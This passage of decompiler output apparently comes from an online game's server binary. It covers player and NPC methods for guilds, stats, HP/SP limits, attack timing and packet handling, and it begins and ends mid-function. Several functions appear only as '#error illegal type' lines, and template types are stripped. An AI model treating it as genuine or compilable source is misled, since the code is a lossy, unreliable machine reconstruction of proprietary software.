*)v4; *(_DWORD *)((char *)v4 + 32059) += a4 * v9 / 0x3E8u; v11 = (*(int (__thiscall **)(void *))(v10 + 1248))(v4); v12 = *(_DWORD *)v4; *(_DWORD *)((char *)v4 + 32063) += a4 * v11 / 0x3E8u; if ( *(_DWORD *)((char *)v4 + 32059) > (unsigned int)(*(int (__thiscall **)(void *))(v12 + 1236))(v4) ) *(_DWORD *)((char *)v4 + 32059) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1236))(v4); result = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1240))(v4); if ( *(_DWORD *)((char *)v4 + 32063) > (unsigned int)result ) { result = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1240))(v4); *(_DWORD *)((char *)v4 + 32063) = result; } return result; } //----- (00500B30) -------------------------------------------------------- #error "500B30: undefined or illegal type '#325' (funcsize=15)" //----- (00500B60) -------------------------------------------------------- #error "500B60: undefined or illegal type '#325' (funcsize=95)" //----- (00500C70) -------------------------------------------------------- #error "500C70: undefined or illegal type '#325' (funcsize=11)" //----- (00500C90) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_GetCharacterTitle(void *this) { return (int)((char *)this + 89920); } //----- (00500CA0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_GetStatDistStr(void *this) { return (int)((char *)this + 32100); } //----- (00500CB0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_GetInventoryLockList(void *this) { return (int)((char *)this + 57736); } //----- (00500CC0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_GetGender(int this) { return *(_BYTE *)(this + 32118) >> 7; } //----- (00500CD0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_mobile_GetGuildRegnum(int this) { return *(_DWORD *)(this + 91052); } //----- (00500CE0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_SetMyGuildNo(int this, int gldnum) { int result; // eax@1 result = gldnum; *(_DWORD *)(this + 91052) = gldnum; return result; } //----- (00500CF0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_SetMyGuild(int this, int gld) { int result; // eax@1 result = gld; *(_DWORD *)(this + 91056) = gld; return result; } //----- (00500D00) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_GetMyGuildStorageHandle(void *this) { return (int)((char *)this + 68212); } //----- (00500D10) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShinePlayer::so_ply_SetMyGuildStorageHandle(int this, __int16 nGuildStorageHandle) { __int16 result; // ax@1 result = nGuildStorageHandle; *(_WORD *)(this + 68212) = nGuildStorageHandle; return result; } //----- (00500D20) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_GetMyGuildAcademyRewardStorageHandle(void *this) { return (int)((char *)this + 68214); } //----- (00500D30) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShinePlayer::so_ply_SetMyGuildAcademyRewardStorageHandle(int this, __int16 nGuildAcademyRewardStorageHandle) { __int16 result; // ax@1 result = nGuildAcademyRewardStorageHandle; *(_WORD *)(this + 68214) = nGuildAcademyRewardStorageHandle; return result; } //----- (00500D40) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_QuestDiary(void *this) { return (int)((char *)this + 66032); } //----- (00500D50) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_KQSuccess(int this) { CCharacterTitleZone::CT_KQSuccess((CCharacterTitleZone *)(this + 89920)); } //----- (00500D60) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_KQFail(int this) { CCharacterTitleZone::CT_KQFail((CCharacterTitleZone *)(this + 89920)); } //----- (00500D70) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_TreasureChestLocationManager(void *this) { return (int)((char *)this + 89150); } //----- (00500D80) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_InventorySize(int this) { unsigned __int8 v1; // al@1 int result; // eax@2 v1 = *(_BYTE *)(this + 91706); if ( v1 <= 4u ) result = 24 * (v1 + 2); else result = 144; return result; } //----- (00500DA0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_StorageSize(int this) { unsigned __int8 v1; // al@1 int result; // eax@2 v1 = *(_BYTE *)(this + 91707); if ( v1 <= 2u ) result = 36 * (v1 + 2); else result = 144; return result; } //----- (00500DC0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_StreetBoothSlot(int this) { int result; // eax@1 result = *(_DWORD *)(this + 89128) + *(_BYTE *)(this + 91708); if ( result > 20 ) result = 20; return result; } //----- (00500DE0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_ChargedEffectContainer(void *this) { return (int)((char *)this + 91696); } //----- (00500DF0) -------------------------------------------------------- signed int __cdecl ShineObjectClass::ShinePlayer::smo_BattleKillScore() { return 150; } //----- (00500E00) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_AllCastCancel(int this) { int v1; // esi@1 v1 = this; if ( *(_WORD *)(this + 92132) >= 0 ) ShineObjectClass::ShinePlayer::sp_HorseFree(this); if ( *(_BYTE *)(v1 + 23336) ) ShineObjectClass::ShinePlayer::sp_MiniHouseFree((void *)v1); ShineObjectClass::ShinePlayer::sp_FlagCaptureFree((void *)v1); } //----- (00500E30) -------------------------------------------------------- ShineCommonParameter::FreeStatStr *__thiscall ShineObjectClass::ShinePlayer::so_ply_FreeStatStr(void *this) { void *v1; // esi@1 ShineCommonParameter::FreeStatStr *result; // eax@2 v1 = this; if ( *(_BYTE *)(*(int (**)(void))(*(_DWORD *)this + 1040))() <= 0x96u ) result = shineparam.scp_param.freestatStr[*(_BYTE *)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1040))(v1)]; else result = shineparam.scp_param.freestatStr[0]; return result; } //----- (00500E60) -------------------------------------------------------- ShineCommonParameter::FreeStatInt *__thiscall ShineObjectClass::ShinePlayer::so_ply_FreeStatInt(void *this) { void *v1; // esi@1 ShineCommonParameter::FreeStatInt *result; // eax@2 v1 = this; if ( *(_BYTE *)((*(int (**)(void))(*(_DWORD *)this + 1040))() + 3) <= 0x96u ) result = shineparam.scp_param.freestatInt[*(_BYTE *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1040))(v1) + 3)]; else result = shineparam.scp_param.freestatInt[0]; return result; } //----- (00500E90) -------------------------------------------------------- ShineCommonParameter::FreeStatDex *__thiscall ShineObjectClass::ShinePlayer::so_ply_FreeStatDex(void *this) { void *v1; // esi@1 ShineCommonParameter::FreeStatDex *result; // eax@2 v1 = this; if ( *(_BYTE *)((*(int (**)(void))(*(_DWORD *)this + 1040))() + 2) <= 0x96u ) result = shineparam.scp_param.freestatDex[*(_BYTE *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1040))(v1) + 2)]; else result = shineparam.scp_param.freestatDex[0]; return result; } //----- (00500EC0) -------------------------------------------------------- ShineCommonParameter::FreeStatCon *__thiscall ShineObjectClass::ShinePlayer::so_ply_FreeStatCon(void *this) { void *v1; // esi@1 ShineCommonParameter::FreeStatCon *result; // eax@2 v1 = this; if ( *(_BYTE *)((*(int (**)(void))(*(_DWORD *)this + 1040))() + 1) <= 0x96u ) result = shineparam.scp_param.freestatCon[*(_BYTE *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1040))(v1) + 1)]; else result = shineparam.scp_param.freestatCon[0]; return result; } //----- (00500EF0) -------------------------------------------------------- ShineCommonParameter::FreeStatMen *__thiscall ShineObjectClass::ShinePlayer::so_ply_FreeStatMen(void *this) { void *v1; // esi@1 ShineCommonParameter::FreeStatMen *result; // eax@2 v1 = this; if ( *(_BYTE *)((*(int (**)(void))(*(_DWORD *)this + 1040))() + 4) <= 0x96u ) result = shineparam.scp_param.freestatMen[*(_BYTE *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1040))(v1) + 4)]; else result = shineparam.scp_param.freestatMen[0]; return result; } //----- (00500F20) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_ChargedStatPlus(int this) { return *(_BYTE *)(this + 91721); } //----- (00500F30) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShinePlayer::so_ply_RemoveWhen(void *this) { void *v1; // esi@1 char v2; // al@3 unsigned int result; // eax@4 v1 = this; if ( !(unsigned __int8)(*(int (**)(void))(*(_DWORD *)this + 1136))() || (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1136))(v1) == 3 || (v2 = *((_BYTE *)v1 + 23280), v2 & 1) ) result = 0; else result = ((unsigned int)(unsigned __int8)~v2 >> 1) & 1; return result; } //----- (00500F70) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_IncNGet_PKCount(int this) { int result; // eax@1 result = *(_DWORD *)(this + 32107) + 1; *(_DWORD *)(this + 32107) = result; return result; } //----- (00500F80) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_HideMyIdentity(int this) { BriefInformationCharacter::bic_HideMyIdentity((BriefInformationCharacter *)(this + 31844)); } //----- (00500F90) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::smo_GMChatColor(int this) { return *(_BYTE *)(this + 32136); } //----- (00500FA0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_SetMyGuildAcademy(int this, int gld) { int result; // eax@1 result = gld; *(_DWORD *)(this + 91068) = gld; return result; } //----- (00500FB0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_GetMyGuildAcademyNo(int this) { return *(_DWORD *)(this + 91064); } //----- (00500FC0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_SetMyGuildAcademyNo(int this, int gldnum) { int result; // eax@1 result = gldnum; *(_DWORD *)(this + 91064) = gldnum; return result; } //----- (00500FD0) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::so_ply_isAcademyGuildMember(int this) { return *(_DWORD *)(this + 91064) != 0; } //----- (00500FE0) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::so_ply_isIAmGuildAcademyMaster(void *this) { void *v1; // esi@1 v1 = this; return !(unsigned __int8)(*(int (**)(void))(*(_DWORD *)this + 2044))() && (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1980))(v1); } //----- (00501010) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::sp_IsLockedRefundReq(int this) { return (*(_BYTE *)(this + 23281) & 8) == 8; } //----- (00501020) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_LockRefundReq(int this) { *(_BYTE *)(this + 23281) |= 8u; } //----- (00501030) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::sp_IsLockedRefundCancelReq(int this) { return (*(_BYTE *)(this + 23281) & 0x10) == 16; } //----- (00501040) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_LockRefundCancelReq(int this) { *(_BYTE *)(this + 23281) |= 0x10u; } //----- (00501050) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_GetPossibleNewConnect(int this) { return *(_BYTE *)(this + 92284); } //----- (00501060) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_FreeStat_Get_DecreaseNum(int this, int Stat, unsigned __int8 Stat_4) { unsigned __int8 v3; // dl@1 char result; // al@1 unsigned __int8 v5; // dl@3 unsigned __int8 v6; // dl@5 unsigned __int8 v7; // dl@7 unsigned __int8 v8; // cl@9 v3 = *(_BYTE *)(this + 32100); result = 0; if ( (unsigned __int8)Stat < v3 ) result = v3 - Stat; v5 = *(_BYTE *)(this + 32101); if ( BYTE1(Stat) < v5 ) result += v5 - BYTE1(Stat); v6 = *(_BYTE *)(this + 32102); if ( BYTE2(Stat) < v6 ) result += v6 - BYTE2(Stat); v7 = *(_BYTE *)(this + 32103); if ( BYTE3(Stat) < v7 ) result += v7 - BYTE3(Stat); v8 = *(_BYTE *)(this + 32104); if ( Stat_4 < v8 ) result += v8 - Stat_4; return result; } //----- (005010C0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_CharFreeStat_IsLock(int this) { return *(_BYTE *)(this + 23612); } //----- (005010D0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_CharFreeStat_Lock(int this) { *(_BYTE *)(this + 23612) = 1; } //----- (005010E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_CharFreeStat_UnLock(int this) { *(_BYTE *)(this + 23612) = 0; } //----- (005010F0) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::so_PacketBufferFlush(void *this) { void *v1; // esi@1 int v2; // eax@1 char v3; // bl@1 int v4; // eax@1 char v5; // al@1 bool v6; // bl@3 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_PacketBufferFlush"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_PacketBufferFlush"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 760))(v1); v3 = (*(int (__thiscall **)(int, _DWORD))(*(_DWORD *)v2 + 8))(v2, *((_DWORD *)v1 + 5904)); v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 764))(v1); v5 = (*(int (__thiscall **)(int, _DWORD))(*(_DWORD *)v4 + 8))(v4, *((_DWORD *)v1 + 5904)); v6 = v3 && v5; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_PacketBufferFlush"); return v6; } //----- (005011C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_StoreCharData(CHARTITLE_BRIEFINFO this, unsigned __int16 handle, char *fromwhere) { CHARTITLE_BRIEFINFO v3; // esi@1 int v4; // eax@1 int v5; // eax@2 int v6; // eax@4 unsigned __int8 v7; // al@4 CHARTITLE_BRIEFINFO chartitle; // [sp+0h] [bp-4h]@1 chartitle = this; v3 = this; v4 = *(_DWORD *)(*(_DWORD *)&this + 98); if ( !v4 || (v5 = *(_DWORD *)(v4 + 12)) == 0 || !*(_BYTE *)(v5 + 106) ) { v6 = (*(int (__thiscall **)(CHARTITLE_BRIEFINFO))(**(_DWORD **)&this + 1036))(this); chartitle.Type = *(_BYTE *)(v6 + 560); chartitle.ElementNo = *(_BYTE *)(v6 + 561); chartitle.MobID = *(_WORD *)(v6 + 562); v7 = (*(int (__thiscall **)(CHARTITLE_BRIEFINFO))(**(_DWORD **)&v3 + 1136))(v3); BriefInformationCharacter::bic_InitBriefInfo( (BriefInformationCharacter *)(*(_DWORD *)&v3 + 31844), handle, v7, (ZoneCharData *)(*(_DWORD *)&v3 + 32017), &chartitle, fromwhere); ShineObjectClass::ShinePlayer::sp_BriefEquipmentSetting(*(void **)&v3); *(_BYTE *)(*(_DWORD *)&v3 + 23280) |= 4u; } } //----- (00501250) -------------------------------------------------------- void __thiscall BriefInformationCharacter::bic_InitBriefInfo(BriefInformationCharacter *this, unsigned __int16 handle, int charmode, ZoneCharData *chardata, CHARTITLE_BRIEFINFO *chartitle, char *fromwhere) { char *v6; // esi@4 PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *v7; // edx@4 if ( charmode == 2 || charmode == 1 || !charmode ) { v6 = (char *)&this->bic_BriefInfo->coord; *(_DWORD *)v6 = chardata->toclient.basedata.logininfo.currentcoord.xy.x; *((_DWORD *)v6 + 1) = chardata->toclient.basedata.logininfo.currentcoord.xy.y; v6[8] = chardata->toclient.basedata.logininfo.currentcoord.dir; v7 = this->bic_BriefInfo; *(_QWORD *)&v7->charid.n4_name[0] = *(_QWORD *)&chardata->toclient.basedata.charid.n4_name[0]; *(_QWORD *)&v7->charid.n4_name[8] = *(_QWORD *)&chardata->toclient.basedata.charid.n4_name[8]; *(_DWORD *)&this->bic_BriefInfo->shapedata.notcamp.shape._bf0 = *(_DWORD *)&chardata->toclient.shape._bf0; this->bic_BriefInfo->emoticon.emoticonid = -1; this->bic_BriefInfo->emoticon.emoticonframe = 0; this->bic_BriefInfo->chrclass = ((unsigned __int8)chardata->toclient.shape._bf0 >> 2) & 0x1F; *(_DWORD *)&this->bic_BriefInfo->chartitle.Type = *(_DWORD *)&chartitle->Type; this->bic_BriefInfo->polymorph = -1; this->bic_BriefInfo->handle = handle; } } //----- (00501310) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_FillBriefInformation(int this, int array) { return PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD::operator_(array, *(_DWORD *)(this + 32010)); } //----- (00501330) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShinePlayer::so_MaxHP(void *this) { void *v1; // esi@1 unsigned int result; // eax@1 v1 = this; ShineObjectClass::ShinePlayer::sp_MaxHP(this); result = *((_DWORD *)v1 + 932); if ( *(_DWORD *)((char *)v1 + 32059) > result ) *(_DWORD *)((char *)v1 + 32059) = result; return result; } //----- (00501350) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShinePlayer::so_MaxSP(void *this) { void *v1; // esi@1 unsigned int result; // eax@1 v1 = this; ShineObjectClass::ShinePlayer::sp_MaxSP(this); result = *((_DWORD *)v1 + 933); if ( *(_DWORD *)((char *)v1 + 32063) > result ) *(_DWORD *)((char *)v1 + 32063) = result; return result; } //----- (00501370) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_MaxSP(void *this) { void *v1; // esi@1 int v2; // eax@1 int v3; // edi@1 int v4; // edi@1 int v5; // eax@1 int v6; // edx@1 int v7; // edi@1 int v8; // edi@1 int v9; // ecx@1 int v10; // eax@1 int v11; // eax@2 MobDataBox::MobDataBoxIndex *v12; // eax@2 v1 = this; v2 = (*(int (**)(void))(*(_DWORD *)this + 1160))(); v3 = (*(int (__thiscall **)(int, void *, char *))(*(_DWORD *)v2 + 36))(v2, v1, (char *)v1 + 6888); v4 = *(_WORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1124))(v1) + 5) + v3; v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1052))(v1); v6 = *(_DWORD *)v1; *((_DWORD *)v1 + 933) = v4 * (*(_DWORD *)(v5 + 2448) + *((_WORD *)v1 + 45856) - 1000) / 1000; v7 = (*(int (__thiscall **)(void *))(v6 + 1052))(v1); v8 = *(_DWORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1052))(v1) + 1872) + *(_DWORD *)(v7 + 2256); v9 = *(_DWORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1052))(v1) + 336); v10 = *(_DWORD *)v1; *((_DWORD *)v1 + 933) += v9 + v8; if ( *(_WORD *)((*(int (__thiscall **)(void *))(v10 + 1052))(v1) + 3092) != -1 ) { v11 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1052))(v1); v12 = MobDataBox::operator__(&mobdatabox, *(_WORD *)(v11 + 3092)); if ( v12 ) *((_DWORD *)v1 + 932) = v12->data->MaxHP; } return *((_DWORD *)v1 + 933); } //----- (00501470) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_ply_NextBashTime(int this) { int v1; // esi@1 ShineObjectClass::ShinePlayer::TimeScheduler *v2; // edi@1 int v3; // eax@1 int v4; // ebx@3 int v5; // eax@3 v1 = this; v2 = (ShineObjectClass::ShinePlayer::TimeScheduler *)(this + 92164); *(_BYTE *)(this + 88992) |= 4u; v3 = *(_DWORD *)(this + 92176); if ( v3 != 2 ) { if ( v3 != 3 ) { v4 = (*(int (__stdcall **)(int, _DWORD))(**(_DWORD **)(this + 7104) + 8))(this + 7104, *(_WORD *)(this + 88988)); v5 = (*(int (__thiscall **)(int))(*(_DWORD *)v1 + 1052))(v1); ShineObjectClass::ShinePlayer::TimeScheduler::ts_Set( v2, (ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType (__thiscall *)(#434 *))ShineObjectClass::ShinePlayer::sp_Schedule_SwingStart, 0, TSCW_NORMALATTACK_SWING, *(_DWORD *)(v5 + 2440) * v4 / 0x3E8u); } } } //----- (005014F0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_ply_NextBashTime_AfterSkill(int this, int animation_millisec) { int v2; // eax@1 char v3; // bl@1 int v4; // ecx@1 int v5; // edx@1 int v6; // ebx@4 v2 = this; v3 = *(_BYTE *)(this + 88992) | 4; v4 = this + 92164; *(_BYTE *)(v2 + 88992) = v3; v5 = *(_DWORD *)(v4 + 12); if ( v5 != 2 && v5 != 3 && v3 & 1 ) { v6 = *(_DWORD *)(v2 + 172); *(_DWORD *)(v2 + 23284) = 0; *(_DWORD *)(v2 + 23288) = 0; if ( !v6 ) ShineObjectClass::ShinePlayer::TimeScheduler::ts_Set( (ShineObjectClass::ShinePlayer::TimeScheduler *)v4, (ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType (__thiscall *)(#434 *))ShineObjectClass::ShinePlayer::sp_Schedule_SwingStart, 0, TSCW_NORMALATTACK_SWING, animation_millisec); } } //----- (00501550) -------------------------------------------------------- signed __int16 __thiscall ShineObjectClass::ShinePlayer::so_CurrentTargetHandle(int this) { signed __int16 result; // ax@3 int v2; // eax@4 if ( *(_DWORD *)(this + 32148) || *(_DWORD *)(this + 32152) ) { v2 = *(_DWORD *)(this + 32148); if ( !v2 ) v2 = *(_DWORD *)(this + 32152); result = *(_WORD *)(v2 + 4); } else { result = -1; } return result; } //----- (00501580) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_CurrentTargetObject(int this) { int result; // eax@1 result = *(_DWORD *)(this + 32148); if ( !result ) result = *(_DWORD *)(this + 32152); return result; } //----- (005015A0) -------------------------------------------------------- void __usercall ShineObjectClass::ShinePlayer::so_ply_ReinforceFoldtent(int a1, int a2, int a3, int a4, int a5, int a6) { void *v6; // ebp@1 void *v7; // edi@2 int v8; // edi@3 char *v9; // eax@4 int v10; // ebx@4 int v11; // esi@4 int v12; // eax@4 int v13; // eax@5 int v14; // eax@5 int v15; // ST08_4@6 int v16; // eax@6 AxialListPacketBroadcast alchat; // [sp+24h] [bp-18h]@6 AxialListPacketBroadcast this; // [sp+30h] [bp-Ch]@6 v6 = (void *)a1; if ( **(_BYTE **)(a1 + 3716) == 4 ) { (*(void (__stdcall **)(signed int, signed int, int, int, int))(*(_DWORD *)a1 + 772))(8, 61, a3, a4, a2); **((_BYTE **)v6 + 929) = 1; v7 = (void *)(*(_DWORD *)((char *)v6 + 32010) + 29); if ( *((_BYTE *)v6 + 89071) ) { memcpy(v7, (char *)v6 + 89024, 0x2Cu); v8 = (int)((char *)v7 + 44); *(_WORD *)v8 = *((_WORD *)v6 + 44534); *(_BYTE *)(v8 + 2) = *((_BYTE *)v6 + 89070); *((_BYTE *)v6 + 89071) = 0; } *((_DWORD *)v6 + 22478) = ShineObjectClass::ShineMobileObject::smo_ChineCastCut; v9 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8236; *((_WORD *)v9 + 1) = *((_WORD *)v6 + 2); v10 = (int)(v9 + 4); v11 = *(_DWORD *)((char *)v6 + 32010) + 29; memcpy(v9 + 4, (const void *)v11, 0x2Cu); v11 += 44; *((_WORD *)v9 + 24) = *(_WORD *)v11; v9[50] = *(_BYTE *)(v11 + 2); v12 = (*(int (__thiscall **)(void *))(*(_DWORD *)v6 + 1160))(v6); if ( (((unsigned int)*(_BYTE *)v10 >> 2) & 0x1F) != (*(int (__thiscall **)(int))(*(_DWORD *)v12 + 40))(v12) ) { v13 = (*(int (__thiscall **)(void *))(*(_DWORD *)v6 + 1160))(v6); (*(void (__thiscall **)(int))(*(_DWORD *)v13 + 40))(v13); v14 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v6 + 1160))(v6); *(_BYTE *)v10 ^= (*(_BYTE *)v10 ^ 4 * (*(int (__thiscall **)(int))(*(_DWORD *)v14 + 40))(v14)) & 0x7C; } AxialListPacketBroadcast::AxialListPacketBroadcast(&this, &gpp, 51); v15 = *(_DWORD *)((char *)v6 + 78); v16 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v6, v16, v15, 0, 0, (int)&this, 0, 65535); this.alpb_packetlength = -1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } } //----- (00501700) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineNPC::_ShineNPC(ShineObjectClass::ShineNPC *this) { *(_DWORD *)&this->gap0[0] = &ShineObjectClass::ShineNPC::_vftable_; ShineObjectClass::ShineMob::_ShineMob((int)this); } // 5D5E60: using guessed type int (*ShineObjectClass__ShineNPC___vftable_)(); //----- (00501710) -------------------------------------------------------- ShineRTTI *__thiscall ShineObjectClass::ShineNPC::GetRTTI(ShineObjectClass::ShineNPC *this) { return &ShineObjectClass::ShineNPC::m_RTTI; } //----- (00501720) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineNPC::so_SetGateBriefInform(ShineObjectClass::ShineNPC *this, char *linktoclient) { *(_BYTE *)(*(_DWORD *)&this->gap0[7510] + 14) = 1; Name3::operator_((Name3 *)(*(_DWORD *)&this->gap0[7510] + 15), linktoclient); } //----- (00501740) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineNPC::so_RemakeHandle(ShineObjectClass::ShineNPC *this, unsigned __int16 handle) { ShineObjectClass::ShineNPC *sohu; // [sp+0h] [bp-4h]@1 sohu = this; MoveManager::MoveManager((DiceTaiSai *)&sohu); LOWORD(sohu) = 16 * handle | 0xD; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&sohu); return 16 * handle | 0xD; } //----- (00501770) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShinePlayer::_vector_deleting_destructor_(unsigned int this) { void *v1; // esi@1 void *result; // eax@4 char v3; // [sp+Ch] [bp+4h]@0 v1 = (void *)this; if ( v3 & 2 ) { _eh_vector_destructor_iterator_( (void *)this, 0x16A38u, *(_DWORD *)(this - 4), (void (__thiscall *)(void *))ShineObjectClass::ShinePlayer::_ShinePlayer); if ( v3 & 1 ) operator delete__((char *)v1 - 4); result = (char *)v1 - 4; } else { ShineObjectClass::ShinePlayer::_ShinePlayer(this); if ( v3 & 1 ) operator delete(v1); result = v1; } return result; } //----- (005017D0) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShineNPC::_vector_deleting_destructor_(ShineObjectClass::ShineNPC *this, unsigned int a2) { void *v2; // esi@1 void *result; // eax@4 v2 = this; if ( a2 & 2 ) { _eh_vector_destructor_iterator_( this, 0x22B8u, *((_DWORD *)this - 1), (void (__thiscall *)(void *))ShineObjectClass::ShineNPC::_ShineNPC); if ( a2 & 1 ) operator delete__((char *)v2 - 4); result = (char *)v2 - 4; } else { ShineObjectClass::ShineNPC::_ShineNPC(this); if ( a2 & 1 ) operator delete(v2); result = v2; } return result; } //----- (00501830) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::_Insert(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, bool _Addleft, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode, const unsigned int *_Val) { std::_Tree,std::allocator,0> > *v5; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v6; // ecx@4 std::_Tree_nod,std::allocator,0> >::_Node *v7; // eax@4 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@7 std::_Tree_nod,std::allocator,0> >::_Node *v9; // eax@9 int v10; // eax@11 std::_Tree_nod,std::allocator,0> >::_Node *v11; // esi@11 int v12; // ecx@12 int v13; // ebp@12 int v14; // edx@12 std::_Tree,std::allocator,0> >::iterator *v15; // eax@24 std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@2 int v18; // [sp+4Ch] [bp-4h]@2 std::_Tree_nod,std::allocator,0> >::_Node *_Vala; // [sp+60h] [bp+10h]@4 v5 = this; if ( this->_Mysize >= 0x3FFFFFFE ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "map/set too long", 0x13u); v18 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } v6 = std::_Tree_std::allocator_0>>::_Buynode( (std::_Tree,std::allocator,0> > *)this, (std::_Tree_nod,std::allocator,0> >::_Node *)this->_Myhead, (std::_Tree_nod,std::allocator,0> >::_Node *)_Wherenode, (std::_Tree_nod,std::allocator,0> >::_Node *)this->_Myhead, (ABSTATEINDEX *)_Val, 0); v7 = v5->_Myhead; _Vala = v6; ++v5->_Mysize; if ( _Wherenode == v7 ) { v7->_Parent = (std::_Tree_nod,std::allocator,0> >::_Node *)v6; v5->_Myhead->_Left = (std::_Tree_nod,std::allocator,0> >::_Node *)v6; v5->_Myhead->_Right = (std::_Tree_nod,std::allocator,0> >::_Node *)v6; } else { if ( _Addleft ) { _Wherenode->_Left = (std::_Tree_nod,std::allocator,0> >::_Node *)v6; v8 = v5->_Myhead; if ( _Wherenode == v8->_Left ) v8->_Left = 